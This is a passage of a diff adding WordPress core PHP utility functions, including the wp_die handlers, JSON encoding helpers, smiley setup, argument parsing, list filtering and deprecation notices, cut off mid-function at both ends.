+			box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba(0,0,0,.08);
+		 	vertical-align: top;
+		}
+
+		.button.button-large {
+			height: 29px;
+			line-height: 28px;
+			padding: 0 12px;
+		}
+
+		.button:hover,
+		.button:focus {
+			background: #fafafa;
+			border-color: #999;
+			color: #222;
+		}
+
+		.button:focus  {
+			-webkit-box-shadow: 1px 1px 1px rgba(0,0,0,.2);
+			box-shadow: 1px 1px 1px rgba(0,0,0,.2);
+		}
+
+		.button:active {
+			background: #eee;
+			border-color: #999;
+			color: #333;
+			-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+		 	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+		}
+
+		<?php if ( 'rtl' == $text_direction ) : ?>
+		body { font-family: Tahoma, Arial; }
+		<?php endif; ?>
+	</style>
+</head>
+<body id="error-page">
+<?php endif; // ! did_action( 'admin_head' ) ?>
+	<?php echo $message; ?>
+</body>
+</html>
+<?php
+	die();
+}
+
+/**
+ * Kill WordPress execution and display XML message with error message.
+ *
+ * This is the handler for wp_die when processing XMLRPC requests.
+ *
+ * @since 3.2.0
+ * @access private
+ *
+ * @param string       $message Error message.
+ * @param string       $title   Optional. Error title. Default empty.
+ * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
+ */
+function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
+	global $wp_xmlrpc_server;
+	$defaults = array( 'response' => 500 );
+
+	$r = wp_parse_args($args, $defaults);
+
+	if ( $wp_xmlrpc_server ) {
+		$error = new IXR_Error( $r['response'] , $message);
+		$wp_xmlrpc_server->output( $error->getXml() );
+	}
+	die();
+}
+
+/**
+ * Kill WordPress ajax execution.
+ *
+ * This is the handler for wp_die when processing Ajax requests.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $message Optional. Response to print. Default empty.
+ */
+function _ajax_wp_die_handler( $message = '' ) {
+	if ( is_scalar( $message ) )
+		die( (string) $message );
+	die( '0' );
+}
+
+/**
+ * Kill WordPress execution.
+ *
+ * This is the handler for wp_die when processing APP requests.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $message Optional. Response to print. Default empty.
+ */
+function _scalar_wp_die_handler( $message = '' ) {
+	if ( is_scalar( $message ) )
+		die( (string) $message );
+	die();
+}
+
+/**
+ * Encode a variable into JSON, with some sanity checks.
+ *
+ * @since 4.1.0
+ *
+ * @param mixed $data    Variable (usually an array or object) to encode as JSON.
+ * @param int   $options Optional. Options to be passed to json_encode(). Default 0.
+ * @param int   $depth   Optional. Maximum depth to walk through $data. Must be
+ *                       greater than 0. Default 512.
+ * @return bool|string The JSON encoded string, or false if it cannot be encoded.
+ */
+function wp_json_encode( $data, $options = 0, $depth = 512 ) {
+	/*
+	 * json_encode() has had extra params added over the years.
+	 * $options was added in 5.3, and $depth in 5.5.
+	 * We need to make sure we call it with the correct arguments.
+	 */
+	if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {
+		$args = array( $data, $options, $depth );
+	} elseif ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
+		$args = array( $data, $options );
+	} else {
+		$args = array( $data );
+	}
+
+	$json = call_user_func_array( 'json_encode', $args );
+
+	// If json_encode() was successful, no need to do more sanity checking.
+	// ... unless we're in an old version of PHP, and json_encode() returned
+	// a string containing 'null'. Then we need to do more sanity checking.
+	if ( false !== $json && ( version_compare( PHP_VERSION, '5.5', '>=' ) || false === strpos( $json, 'null' ) ) )  {
+		return $json;
+	}
+
+	try {
+		$args[0] = _wp_json_sanity_check( $data, $depth );
+	} catch ( Exception $e ) {
+		return false;
+	}
+
+	return call_user_func_array( 'json_encode', $args );
+}
+
+/**
+ * Perform sanity checks on data that shall be encoded to JSON.
+ *
+ * @see wp_json_encode()
+ *
+ * @since 4.1.0
+ * @access private
+ * @internal
+ *
+ * @param mixed $data  Variable (usually an array or object) to encode as JSON.
+ * @param int   $depth Maximum depth to walk through $data. Must be greater than 0.
+ * @return mixed The sanitized data that shall be encoded to JSON.
+ */
+function _wp_json_sanity_check( $data, $depth ) {
+	if ( $depth < 0 ) {
+		throw new Exception( 'Reached depth limit' );
+	}
+
+	if ( is_array( $data ) ) {
+		$output = array();
+		foreach ( $data as $id => $el ) {
+			// Don't forget to sanitize the ID!
+			if ( is_string( $id ) ) {
+				$clean_id = _wp_json_convert_string( $id );
+			} else {
+				$clean_id = $id;
+			}
+
+			// Check the element type, so that we're only recursing if we really have to.
+			if ( is_array( $el ) || is_object( $el ) ) {
+				$output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
+			} elseif ( is_string( $el ) ) {
+				$output[ $clean_id ] = _wp_json_convert_string( $el );
+			} else {
+				$output[ $clean_id ] = $el;
+			}
+		}
+	} elseif ( is_object( $data ) ) {
+		$output = new stdClass;
+		foreach ( $data as $id => $el ) {
+			if ( is_string( $id ) ) {
+				$clean_id = _wp_json_convert_string( $id );
+			} else {
+				$clean_id = $id;
+			}
+
+			if ( is_array( $el ) || is_object( $el ) ) {
+				$output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
+			} elseif ( is_string( $el ) ) {
+				$output->$clean_id = _wp_json_convert_string( $el );
+			} else {
+				$output->$clean_id = $el;
+			}
+		}
+	} elseif ( is_string( $data ) ) {
+		return _wp_json_convert_string( $data );
+	} else {
+		return $data;
+	}
+
+	return $output;
+}
+
+/**
+ * Convert a string to UTF-8, so that it can be safely encoded to JSON.
+ *
+ * @see _wp_json_sanity_check()
+ *
+ * @since 4.1.0
+ * @access private
+ * @internal
+ *
+ * @param string $string The string which is to be converted.
+ * @return string The checked string.
+ */
+function _wp_json_convert_string( $string ) {
+	static $use_mb = null;
+	if ( is_null( $use_mb ) ) {
+		$use_mb = function_exists( 'mb_convert_encoding' );
+	}
+
+	if ( $use_mb ) {
+		$encoding = mb_detect_encoding( $string, mb_detect_order(), true );
+		if ( $encoding ) {
+			return mb_convert_encoding( $string, 'UTF-8', $encoding );
+		} else {
+			return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' );
+		}
+	} else {
+		return wp_check_invalid_utf8( $string, true );
+	}
+}
+
+/**
+ * Send a JSON response back to an Ajax request.
+ *
+ * @since 3.5.0
+ *
+ * @param mixed $response Variable (usually an array or object) to encode as JSON,
+ *                        then print and die.
+ */
+function wp_send_json( $response ) {
+	@header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
+	echo wp_json_encode( $response );
+	if ( defined( 'DOING_AJAX' ) && DOING_AJAX )
+		wp_die();
+	else
+		die;
+}
+
+/**
+ * Send a JSON response back to an Ajax request, indicating success.
+ *
+ * @since 3.5.0
+ *
+ * @param mixed $data Data to encode as JSON, then print and die.
+ */
+function wp_send_json_success( $data = null ) {
+	$response = array( 'success' => true );
+
+	if ( isset( $data ) )
+		$response['data'] = $data;
+
+	wp_send_json( $response );
+}
+
+/**
+ * Send a JSON response back to an Ajax request, indicating failure.
+ *
+ * If the `$data` parameter is a {@see WP_Error} object, the errors
+ * within the object are processed and output as an array of error
+ * codes and corresponding messages. All other types are output
+ * without further processing.
+ *
+ * @since 3.5.0
+ * @since 4.1.0 The `$data` parameter is now processed if a {@see WP_Error}
+ *              object is passed in.
+ *
+ * @param mixed $data Data to encode as JSON, then print and die.
+ */
+function wp_send_json_error( $data = null ) {
+	$response = array( 'success' => false );
+
+	if ( isset( $data ) ) {
+		if ( is_wp_error( $data ) ) {
+			$result = array();
+			foreach ( $data->errors as $code => $messages ) {
+				foreach ( $messages as $message ) {
+					$result[] = array( 'code' => $code, 'message' => $message );
+				}
+			}
+
+			$response['data'] = $result;
+		} else {
+			$response['data'] = $data;
+		}
+	}
+
+	wp_send_json( $response );
+}
+
+/**
+ * Retrieve the WordPress home page URL.
+ *
+ * If the constant named 'WP_HOME' exists, then it will be used and returned
+ * by the function. This can be used to counter the redirection on your local
+ * development environment.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @see WP_HOME
+ *
+ * @param string $url URL for the home location.
+ * @return string Homepage location.
+ */
+function _config_wp_home( $url = '' ) {
+	if ( defined( 'WP_HOME' ) )
+		return untrailingslashit( WP_HOME );
+	return $url;
+}
+
+/**
+ * Retrieve the WordPress site URL.
+ *
+ * If the constant named 'WP_SITEURL' is defined, then the value in that
+ * constant will always be returned. This can be used for debugging a site
+ * on your localhost while not having to change the database to your URL.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @see WP_SITEURL
+ *
+ * @param string $url URL to set the WordPress site location.
+ * @return string The WordPress Site URL.
+ */
+function _config_wp_siteurl( $url = '' ) {
+	if ( defined( 'WP_SITEURL' ) )
+		return untrailingslashit( WP_SITEURL );
+	return $url;
+}
+
+/**
+ * Set the localized direction for MCE plugin.
+ *
+ * Will only set the direction to 'rtl', if the WordPress locale has
+ * the text direction set to 'rtl'.
+ *
+ * Fills in the 'directionality' setting, enables the 'directionality'
+ * plugin, and adds the 'ltr' button to 'toolbar1', formerly
+ * 'theme_advanced_buttons1' array keys. These keys are then returned
+ * in the $input (TinyMCE settings) array.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $input MCE settings array.
+ * @return array Direction set for 'rtl', if needed by locale.
+ */
+function _mce_set_direction( $input ) {
+	if ( is_rtl() ) {
+		$input['directionality'] = 'rtl';
+		$input['plugins'] .= ',directionality';
+		$input['toolbar1'] .= ',ltr';
+	}
+
+	return $input;
+}
+
+
+/**
+ * Convert smiley code to the icon graphic file equivalent.
+ *
+ * You can turn off smilies, by going to the write setting screen and unchecking
+ * the box, or by setting 'use_smilies' option to false or removing the option.
+ *
+ * Plugins may override the default smiley list by setting the $wpsmiliestrans
+ * to an array, with the key the code the blogger types in and the value the
+ * image file.
+ *
+ * The $wp_smiliessearch global is for the regular expression and is set each
+ * time the function is called.
+ *
+ * The full list of smilies can be found in the function and won't be listed in
+ * the description. Probably should create a Codex page for it, so that it is
+ * available.
+ *
+ * @global array $wpsmiliestrans
+ * @global array $wp_smiliessearch
+ *
+ * @since 2.2.0
+ */
+function smilies_init() {
+	global $wpsmiliestrans, $wp_smiliessearch;
+
+	// don't bother setting up smilies if they are disabled
+	if ( !get_option( 'use_smilies' ) )
+		return;
+
+	if ( !isset( $wpsmiliestrans ) ) {
+		$wpsmiliestrans = array(
+		':mrgreen:' => 'icon_mrgreen.gif',
+		':neutral:' => 'icon_neutral.gif',
+		':twisted:' => 'icon_twisted.gif',
+		  ':arrow:' => 'icon_arrow.gif',
+		  ':shock:' => 'icon_eek.gif',
+		  ':smile:' => 'icon_smile.gif',
+		    ':???:' => 'icon_confused.gif',
+		   ':cool:' => 'icon_cool.gif',
+		   ':evil:' => 'icon_evil.gif',
+		   ':grin:' => 'icon_biggrin.gif',
+		   ':idea:' => 'icon_idea.gif',
+		   ':oops:' => 'icon_redface.gif',
+		   ':razz:' => 'icon_razz.gif',
+		   ':roll:' => 'icon_rolleyes.gif',
+		   ':wink:' => 'icon_wink.gif',
+		    ':cry:' => 'icon_cry.gif',
+		    ':eek:' => 'icon_surprised.gif',
+		    ':lol:' => 'icon_lol.gif',
+		    ':mad:' => 'icon_mad.gif',
+		    ':sad:' => 'icon_sad.gif',
+		      '8-)' => 'icon_cool.gif',
+		      '8-O' => 'icon_eek.gif',
+		      ':-(' => 'icon_sad.gif',
+		      ':-)' => 'icon_smile.gif',
+		      ':-?' => 'icon_confused.gif',
+		      ':-D' => 'icon_biggrin.gif',
+		      ':-P' => 'icon_razz.gif',
+		      ':-o' => 'icon_surprised.gif',
+		      ':-x' => 'icon_mad.gif',
+		      ':-|' => 'icon_neutral.gif',
+		      ';-)' => 'icon_wink.gif',
+		// This one transformation breaks regular text with frequency.
+		//     '8)' => 'icon_cool.gif',
+		       '8O' => 'icon_eek.gif',
+		       ':(' => 'icon_sad.gif',
+		       ':)' => 'icon_smile.gif',
+		       ':?' => 'icon_confused.gif',
+		       ':D' => 'icon_biggrin.gif',
+		       ':P' => 'icon_razz.gif',
+		       ':o' => 'icon_surprised.gif',
+		       ':x' => 'icon_mad.gif',
+		       ':|' => 'icon_neutral.gif',
+		       ';)' => 'icon_wink.gif',
+		      ':!:' => 'icon_exclaim.gif',
+		      ':?:' => 'icon_question.gif',
+		);
+	}
+
+	if (count($wpsmiliestrans) == 0) {
+		return;
+	}
+
+	/*
+	 * NOTE: we sort the smilies in reverse key order. This is to make sure
+	 * we match the longest possible smilie (:???: vs :?) as the regular
+	 * expression used below is first-match
+	 */
+	krsort($wpsmiliestrans);
+
+	$spaces = wp_spaces_regexp();
+
+	// Begin first "subpattern"
+	$wp_smiliessearch = '/(?<=' . $spaces . '|^)';
+
+	$subchar = '';
+	foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
+		$firstchar = substr($smiley, 0, 1);
+		$rest = substr($smiley, 1);
+
+		// new subpattern?
+		if ($firstchar != $subchar) {
+			if ($subchar != '') {
+				$wp_smiliessearch .= ')(?=' . $spaces . '|$)';  // End previous "subpattern"
+				$wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern"
+			}
+			$subchar = $firstchar;
+			$wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';
+		} else {
+			$wp_smiliessearch .= '|';
+		}
+		$wp_smiliessearch .= preg_quote($rest, '/');
+	}
+
+	$wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
+
+}
+
+/**
+ * Merge user defined arguments into defaults array.
+ *
+ * This function is used throughout WordPress to allow for both string or array
+ * to be merged into another array.
+ *
+ * @since 2.2.0
+ *
+ * @param string|array $args     Value to merge with $defaults
+ * @param array        $defaults Optional. Array that serves as the defaults. Default empty.
+ * @return array Merged user defined values with defaults.
+ */
+function wp_parse_args( $args, $defaults = '' ) {
+	if ( is_object( $args ) )
+		$r = get_object_vars( $args );
+	elseif ( is_array( $args ) )
+		$r =& $args;
+	else
+		wp_parse_str( $args, $r );
+
+	if ( is_array( $defaults ) )
+		return array_merge( $defaults, $r );
+	return $r;
+}
+
+/**
+ * Clean up an array, comma- or space-separated list of IDs.
+ *
+ * @since 3.0.0
+ *
+ * @param array|string $list List of ids.
+ * @return array Sanitized array of IDs.
+ */
+function wp_parse_id_list( $list ) {
+	if ( !is_array($list) )
+		$list = preg_split('/[\s,]+/', $list);
+
+	return array_unique(array_map('absint', $list));
+}
+
+/**
+ * Extract a slice of an array, given a list of keys.
+ *
+ * @since 3.1.0
+ *
+ * @param array $array The original array.
+ * @param array $keys  The list of keys.
+ * @return array The array slice.
+ */
+function wp_array_slice_assoc( $array, $keys ) {
+	$slice = array();
+	foreach ( $keys as $key )
+		if ( isset( $array[ $key ] ) )
+			$slice[ $key ] = $array[ $key ];
+
+	return $slice;
+}
+
+/**
+ * Filters a list of objects, based on a set of key => value arguments.
+ *
+ * @since 3.0.0
+ *
+ * @param array       $list     An array of objects to filter
+ * @param array       $args     Optional. An array of key => value arguments to match
+ *                              against each object. Default empty array.
+ * @param string      $operator Optional. The logical operation to perform. 'or' means
+ *                              only one element from the array needs to match; 'and'
+ *                              means all elements must match. Default 'and'.
+ * @param bool|string $field    A field from the object to place instead of the entire object.
+ *                              Default false.
+ * @return array A list of objects or object fields.
+ */
+function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
+	if ( ! is_array( $list ) )
+		return array();
+
+	$list = wp_list_filter( $list, $args, $operator );
+
+	if ( $field )
+		$list = wp_list_pluck( $list, $field );
+
+	return $list;
+}
+
+/**
+ * Filters a list of objects, based on a set of key => value arguments.
+ *
+ * @since 3.1.0
+ *
+ * @param array  $list     An array of objects to filter.
+ * @param array  $args     Optional. An array of key => value arguments to match
+ *                         against each object. Default empty array.
+ * @param string $operator Optional. The logical operation to perform. 'AND' means
+ *                         all elements from the array must match. 'OR' means only
+ *                         one element needs to match. 'NOT' means no elements may
+ *                         match. Default 'AND'.
+ * @return array Array of found values.
+ */
+function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
+	if ( ! is_array( $list ) )
+		return array();
+
+	if ( empty( $args ) )
+		return $list;
+
+	$operator = strtoupper( $operator );
+	$count = count( $args );
+	$filtered = array();
+
+	foreach ( $list as $key => $obj ) {
+		$to_match = (array) $obj;
+
+		$matched = 0;
+		foreach ( $args as $m_key => $m_value ) {
+			if ( array_key_exists( $m_key, $to_match ) && $m_value == $to_match[ $m_key ] )
+				$matched++;
+		}
+
+		if ( ( 'AND' == $operator && $matched == $count )
+		  || ( 'OR' == $operator && $matched > 0 )
+		  || ( 'NOT' == $operator && 0 == $matched ) ) {
+			$filtered[$key] = $obj;
+		}
+	}
+
+	return $filtered;
+}
+
+/**
+ * Pluck a certain field out of each object in a list.
+ *
+ * This has the same functionality and prototype of
+ * array_column() (PHP 5.5) but also supports objects.
+ *
+ * @since 3.1.0
+ * @since 4.0.0 $index_key parameter added.
+ *
+ * @param array      $list      List of objects or arrays
+ * @param int|string $field     Field from the object to place instead of the entire object
+ * @param int|string $index_key Optional. Field from the object to use as keys for the new array.
+ *                              Default null.
+ * @return array Array of found values. If $index_key is set, an array of found values with keys
+ *               corresponding to $index_key.
+ */
+function wp_list_pluck( $list, $field, $index_key = null ) {
+	if ( ! $index_key ) {
+		/*
+		 * This is simple. Could at some point wrap array_column()
+		 * if we knew we had an array of arrays.
+		 */
+		foreach ( $list as $key => $value ) {
+			if ( is_object( $value ) ) {
+				$list[ $key ] = $value->$field;
+			} else {
+				$list[ $key ] = $value[ $field ];
+			}
+		}
+		return $list;
+	}
+
+	/*
+	 * When index_key is not set for a particular item, push the value
+	 * to the end of the stack. This is how array_column() behaves.
+	 */
+	$newlist = array();
+	foreach ( $list as $value ) {
+		if ( is_object( $value ) ) {
+			if ( isset( $value->$index_key ) ) {
+				$newlist[ $value->$index_key ] = $value->$field;
+			} else {
+				$newlist[] = $value->$field;
+			}
+		} else {
+			if ( isset( $value[ $index_key ] ) ) {
+				$newlist[ $value[ $index_key ] ] = $value[ $field ];
+			} else {
+				$newlist[] = $value[ $field ];
+			}
+		}
+	}
+
+	return $newlist;
+}
+
+/**
+ * Determines if Widgets library should be loaded.
+ *
+ * Checks to make sure that the widgets library hasn't already been loaded.
+ * If it hasn't, then it will load the widgets library and run an action hook.
+ *
+ * @since 2.2.0
+ */
+function wp_maybe_load_widgets() {
+	/**
+	 * Filter whether to load the Widgets library.
+	 *
+	 * Passing a falsey value to the filter will effectively short-circuit
+	 * the Widgets library from loading.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
+	 *                                    Default true.
+	 */
+	if ( ! apply_filters( 'load_default_widgets', true ) ) {
+		return;
+	}
+
+	require_once( ABSPATH . WPINC . '/default-widgets.php' );
+
+	add_action( '_admin_menu', 'wp_widgets_add_menu' );
+}
+
+/**
+ * Append the Widgets menu to the themes main menu.
+ *
+ * @since 2.2.0
+ */
+function wp_widgets_add_menu() {
+	global $submenu;
+
+	if ( ! current_theme_supports( 'widgets' ) )
+		return;
+
+	$submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );
+	ksort( $submenu['themes.php'], SORT_NUMERIC );
+}
+
+/**
+ * Flush all output buffers for PHP 5.2.
+ *
+ * Make sure all output buffers are flushed before our singletons are destroyed.
+ *
+ * @since 2.2.0
+ */
+function wp_ob_end_flush_all() {
+	$levels = ob_get_level();
+	for ($i=0; $i<$levels; $i++)
+		ob_end_flush();
+}
+
+/**
+ * Load custom DB error or display WordPress DB error.
+ *
+ * If a file exists in the wp-content directory named db-error.php, then it will
+ * be loaded instead of displaying the WordPress DB error. If it is not found,
+ * then the WordPress DB error will be displayed instead.
+ *
+ * The WordPress DB error sets the HTTP status header to 500 to try to prevent
+ * search engines from caching the message. Custom DB messages should do the
+ * same.
+ *
+ * This function was backported to WordPress 2.3.2, but originally was added
+ * in WordPress 2.5.0.
+ *
+ * @since 2.3.2
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function dead_db() {
+	global $wpdb;
+
+	wp_load_translations_early();
+
+	// Load custom DB error template, if present.
+	if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
+		require_once( WP_CONTENT_DIR . '/db-error.php' );
+		die();
+	}
+
+	// If installing or in the admin, provide the verbose message.
+	if ( defined('WP_INSTALLING') || defined('WP_ADMIN') )
+		wp_die($wpdb->error);
+
+	// Otherwise, be terse.
+	status_header( 500 );
+	nocache_headers();
+	header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title><?php _e( 'Database Error' ); ?></title>
+
+</head>
+<body>
+	<h1><?php _e( 'Error establishing a database connection' ); ?></h1>
+</body>
+</html>
+<?php
+	die();
+}
+
+/**
+ * Convert a value to non-negative integer.
+ *
+ * @since 2.5.0
+ *
+ * @param mixed $maybeint Data you wish to have converted to a non-negative integer.
+ * @return int A non-negative integer.
+ */
+function absint( $maybeint ) {
+	return abs( intval( $maybeint ) );
+}
+
+/**
+ * Mark a function as deprecated and inform when it has been used.
+ *
+ * There is a hook deprecated_function_run that will be called that can be used
+ * to get the backtrace up to what file and function called the deprecated
+ * function.
+ *
+ * The current behavior is to trigger a user error if WP_DEBUG is true.
+ *
+ * This function is to be used in every function that is deprecated.
+ *
+ * @since 2.5.0
+ * @access private
+ *
+ * @param string $function    The function that was called.
+ * @param string $version     The version of WordPress that deprecated the function.
+ * @param string $replacement Optional. The function that should have been called. Default null.
+ */
+function _deprecated_function( $function, $version, $replacement = null ) {
+
+	/**
+	 * Fires when a deprecated function is called.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $function    The function that was called.
+	 * @param string $replacement The function that should have been called.
+	 * @param string $version     The version of WordPress that deprecated the function.
+	 */
+	do_action( 'deprecated_function_run', $function, $replacement, $version );
+
+	/**
+	 * Filter whether to trigger an error for deprecated functions.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
+		if ( function_exists( '__' ) ) {
+			if ( ! is_null( $replacement ) )
+				trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );
+			else
+				trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
+		} else {
+			if ( ! is_null( $replacement ) )
+				trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function, $version, $replacement ) );
+			else
+				trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
+		}
+	}
+}
+
+/**
+ * Mark a file as deprecated and inform when it has been used.
+ *
+ * There is a hook deprecated_file_included that will be called that can be used
+ * to get the backtrace up to what file and function included the deprecated
+ * file.
+ *
+ * The current behavior is to trigger a user error if WP_DEBUG is true.
+ *
+ * This function is to be used in every file that is deprecated.
+ *
+ * @since 2.5.0
+ * @access private
+ *
+ * @param string $file        The file that was included.
+ * @param string $version     The version of WordPress that deprecated the file.
+ * @param string $replacement Optional. The file that should have been included based on ABSPATH.
+ *                            Default null.
+ * @param string $message     Optional. A message regarding the change. Default empty.
+ */
+function _deprecated_file( $file, $version, $replacement = null, $message = '' ) {
+
+	/**
+	 * Fires when a deprecated file is called.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $file        The file that was called.
+	 * @param string $replacement The file that should have been included based on ABSPATH.
+	 * @param string $version     The version of WordPress that deprecated the file.
+	 * @param string $message     A message regarding the change.
+	 */
+	do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
+
+	/**
+	 * Filter whether to trigger an error for deprecated files.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool $trigger Whether to trigger the error for deprecated files. Default true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
+		$message = empty( $message ) ? '' : ' ' . $message;
+		if ( function_exists( '__' ) ) {
+			if ( ! is_null( $replacement ) )
+				trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) . $message );
+			else
+				trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $file, $version ) . $message );
+		} else {
+			if ( ! is_null( $replacement ) )
+				trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message );
+			else
+				trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message );
+		}
+	}
+}
+/**
+ * Mark a function argument as deprecated and inform when it has been used.
+ *
+ * This function is to be used whenever a deprecated function argument is used.
+ * Before this function is called, the argument must be checked for whether it was
+ * used by comparing it to its default value or evaluating whether it is empty.
+ * For example:
+ *
+ *     if ( ! empty( $deprecated ) ) {
+ *         _deprecated_argument( __FUNCTION__, '3.0' );
+ *     }
+ *
+ *
+ * There is a hook deprecated_argument_run that will be called that can be used
+ * to get the backtrace up to what file and function used the deprecated
+ * argument.
+ *
+ * The current behavior is to trigger a user error if WP_DEBUG is true.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param string $function The function that was called.
+ * @param string $version  The version of WordPress that deprecated the argument used.
+ * @param string $message  Optional. A message regarding the change. Default null.
+ */
+function _deprecated_argument( $function, $version, $message = null ) {
+
+	/**
+	 * Fires when a deprecated argument is called.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $function The function that was called.
+	 * @param string $message  A message regarding the change.
+	 * @param string $version  The version of WordPress that deprecated the argument used.
+	 */
+	do_action( 'deprecated_argument_run', $function, $message, $version );
+
+	/**
+	 * Filter whether to trigger an error for deprecated arguments.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
+		if ( function_exists( '__' ) ) {
+			if ( ! is_null( $message ) )
+				trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s'), $function, $version, $message ) );
+			else
+				trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
+		} else {
+			if ( ! is_null( $message ) )
+				trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function, $version, $message ) );
+			else
+				trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
+		}
+	}
+}
+
+/**
+ * Mark something as being incorrectly called.
+ *
+ * There is a hook doing_it_wrong_run that will be called that can be used
+ * to get the backtrace up to what file and function called the deprecated
+ * function.
+ *
+ * The current behavior is to trigger a user error if WP_DEBUG is true.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param string $function The function that was called.
+ * @param string $message  A message explaining what has been done incorrectly.
+ * @param string $version  The version of WordPress where the message was added.
+ */
+function _doing_it_wrong( $function, $message, $version ) {
+
+	/**
+	 * Fires when the given function is being used incorrectly.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $function The function that was called.
+	 * @param string $message  A message explaining what has been done incorrectly.
+	 * @param string $version  The version of WordPress where the message was added.
+	 */
+	do_action( 'doing_it_wrong_run', $function, $message, $version );
+
+	/**
+	 * Filter whether to trigger an error for _doing_it_wrong() calls.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true ) ) {
+		if ( function_exists( '__' ) ) {
+			$version = is_null( $version ) ? '' : sprintf( __( '(This message was added in version %s.)' ), $version );
+			$message .= ' ' . __( 'Please see <a href="http://codex.wordpress.org/Debugging_in_WordPress">Debugging in WordPress</a> for more information.' );
+			trigger_error( sprintf( __( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function, $message, $version ) );
+		} else {
+			$version = is_null( $version ) ? '' : sprintf( '(This message was added in version %s.)', $version );
+			$message .= ' Please see <a href="http://codex.wordpress.org/Debugging_in_WordPress">Debugging in WordPress</a> for more information.';
+			trigger_error( sprintf( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function, $message, $version ) );
+		}
+	}
+}
+
+/**
+ * Is the server running earlier than 1.5.0 version of lighttpd?
+ *
+ * @since 2.5.0
+ *
+ * @return bool Whether the server is running lighttpd < 1.5.0.
+ */
+function is_lighttpd_before_150() {
+	$server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' );
+	$server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : '';
+	return  'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );
+}
+
+/**
+ * Does the specified module exist in the Apache config?
+ *
+ * @since 2.5.0
+ *
+ * @param string $mod     The module, e.g. mod_rewrite.
+ * @param bool   $default Optional. The default return value if the module is not found. Default false.
+ * @return bool Whether the specified module is loaded.
+ */
+function apache_mod_loaded($mod, $default = false) {
+	global $is_apache;
+
+	if ( !$is_apache )
+		return false;
+
+	if ( function_exists( 'apache_get_modules' ) ) {
+		$mods = apache_get_modules();
+		if ( in_array($mod, $mods) )
+			return true;
+	} elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) {
+			ob_start();
+			phpinfo(8);
